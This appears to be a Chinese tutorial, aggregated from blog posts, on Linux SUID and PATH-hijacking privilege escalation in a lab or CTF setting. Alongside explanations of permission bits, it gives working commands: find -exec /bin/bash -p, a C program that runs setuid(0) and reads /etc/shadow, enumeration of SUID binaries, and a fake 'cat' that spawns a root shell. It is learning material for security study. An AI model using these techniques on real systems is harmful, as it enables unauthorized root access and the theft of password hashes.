linux 提权-SUID提权
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了linux 提权-SUID提权相关的知识,希望对你有一定的参考价值。
参考技术A最近想着学习linux提权的一些姿势,这里简单分享学习SUID提权的一些知识点。
先来父复习一下linux文件的权限分配。
ls命令用来查看系统上面的文件、目录的权限。
字段的第一个字符表示对象的类型。
之后是每三个字符为一组,每一组定义了3种访问权限。
这三组分别表示文件所有者(Owner)、用户组(Group)、其它用户(Other Users)。
然后规定用数字4、2和1表示读、写、执行权限。即r=4,w=2,x=1。
所以
chmod改变权限
chown用来更改某个目录或文件的用户名和用户组
该命令需要root权限运行
而文件权限除了r、w、x外还有s、t、i、a权限。
SUID
当执行的文件被赋予了s权限,就被称为Set UID,简称为SUID的特殊权限。八进制数为4000。
举个例子:
linux修改密码的passwd就是个设置了SUID的程序。因为如果普通账号cseroad需要修改密码,就要访问/etc/shadow,但是该文件只有root能访问。那他是怎么修改的呢?原理:
查看该程序,发现被赋予了s权限。当cseroad需要修改自己的密码时,passwd程序的所有者为root,cseroad用户执行passwd 程序的过程中会暂时获得root权限,所以可以修改/etc/shadow文件。
SGID
而当s标志出现在用户组的x权限时则称为SGID。八进制数为2000。
当用户对某一目录有写和执行权限时,该用户就可以在该目录下建立文件,如果该目录用SGID修饰,则该用户在这个目录下建立的文件都是属于这个目录所属的组。(父目录跟随)
SBIT
就是Sticky Bit,出现在目录的其他用户执行权限X上,标记为T,八进制数为1000。对目录有效,使用者只能对自己创建的文件或目录进行删除/更名/移动等动作,而无法删除他人文件(除非ROOT)
赋予s权限:chmod 4755 filename 或者 chmod u+s /usr/bin/find
取消s权限:chmod 755 filename 或者 chmod u-s /usr/bin/find
以centos为例。
还有额外的几个命令
我们就可以通过覆盖/etc/passwd文件,提权为root
默认该命令没有s权限
find命令
假如find命令被赋予s权限。
创建a.txt文件,执行 /usr/bin/find a.txt -exec /bin/bash -p \\; ,成功提权。
这里注意的是新版Linux系统对子进程的suid权限进行了限制,不同的操作系统结果也会不一样。
具体细节参考 https://cloud.tencent.com/developer/article/1674144
利用python可反弹得到root权限的shell
python命令
根据 https://gtfobins.github.io/ 查找python利用姿势。
条件是sudo安装时需要输入当前用户密码。
在实战过程中,多查看 https://gtfobins.github.io/ 是否存在SUID提权,以及使用searchsploit命令查看某程序是否存在本地提权漏洞。
https://yoga7xm.top/2019/06/14/suid/
http://www.361way.com/suid-privilege/5965.html
Linux SUID提权&劫持环境变量提权
Linux SUID提权
SUID是一种特殊的文件属性,它允许用户执行的文件已该文件的拥有者的身份运行,比如一个具有SUID属性的文件的拥有者是root用户,就可以root权限运行
SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上SUID特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。这很像我们在古装剧中见到的手持尚方宝剑的钦差大臣,他手持的尚方宝剑代表的是皇上的权威,因此可以惩戒贪官,但这并不意味着他永久成为了皇上。因此这只是一种有条件的、临时的特殊权限授权方法
Demo
在linux靶机中的/tmp(随便选的)目录创建一个名为 test.c 的文件,文件内容如下
#include <stdlib.h>
#include <unistd.h>
int main()
setuid(0);//run as root
system("id");
system("cat /etc/shadow");
其中setuid 规定了其运行用户,以root权限进行编译和权限设置
编译输出文件
gcc test.c -o test-exp
设置文件的suid位
chmod 4775 test-exp
可以看到他的颜色是红色的,而且权限中多了s位
使用以下命令可以查看根目录下所有带有suid属性的文件
find / -perm -u=s -type f 2>/dev/null
在以获得靶机www-data权限的shell中执行
找到test-exp,切换目录执行
发现test-exp成功以root权限执行
在实例利用时,就需要找具有suid属性且执行危险函数的文件,劫持环境变量提权
劫持环境变量提权
在test-exp中存在system函数,而system函数继承环境变量,可以通过替换环境变量可以达到执行任意命令
在 tmp 目录(随便目录都可以)下创建一个文件
# echo "/bin/bash" > cat && chmod 777 cat
# cat cat
/bin/bash
查看当前环境变量
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
$PATH是Linux和类Unix操作系统中的环境变量,它指定了存储所有可执行程序的bin和sbin目录。当用户在终端运行任何命令时,它向shell发出请求,在环境变量的帮助下搜索可执行文件以响应用户执行的命令。超级用户通常还具有/sbin和/usr /sbin条目,以便轻松执行系统管理命令
把当前tmp目录增加到环境变量
export PATH=.:$PATH
注意这是一个临时的环境变量,terminal关闭后就失效了
设置了PATH 执行cat的时候会优先从当前目录下查找程序。所以cat命令会被劫持,就可以执行任意命令
因为在test-exp中存在system("cat /etc/shadow");
,使用cat命令,因为cat命令被劫持成了/bin/bash
,就变成了system("/bin/bash /etc/shadow)
,这个文件又是SUID文件以root权限执行,就直接切换至了root用户
其他骚思路
太牛了,这是CTF候选题啊
以上是关于linux 提权-SUID提权的主要内容,如果未能解决你的问题,请参考以下文章